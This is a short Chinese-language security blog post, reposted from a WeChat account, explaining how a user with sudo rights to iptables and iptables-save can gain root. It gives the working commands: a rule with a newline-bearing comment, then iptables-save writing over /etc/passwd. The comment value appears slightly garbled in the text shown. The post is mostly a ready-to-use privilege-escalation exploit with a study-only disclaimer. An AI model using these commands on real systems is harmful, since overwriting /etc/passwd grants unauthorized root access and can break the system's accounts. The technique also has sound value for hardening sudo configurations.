利用iptables提权

admin 2024年9月22日13:04:06评论199 views字数 409阅读1分21秒阅读模式

iptablesiptables-save链接在一起实现任意代码执行。

以下三个步骤

1.使用提供的注释功能将包含换行符的任意注释附加到规则中。

2.利用iptables-save将加载的规则的内容(包括注释)保存覆盖文件

3.利用步骤 1 和步骤 2 ,攻击者(使用已知密码)覆盖/etc/passwd文件。

sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'Testnroot'

利用iptables提权

sudo iptables-save -f /etc/passwd

利用iptables提权

最后使用你的密码登录。

用户被授予iptablesiptables-save命令的sudo权限,备份好/etc/passwd文件

仅限交流学习使用,如您在使用本工具或代码的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。“如侵权请私聊公众号删文”。

原文始发于微信公众号(柠檬赏金猎人):利用iptables提权

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月22日13:04:06
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用iptables提权https://cn-sec.com/archives/3193918.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息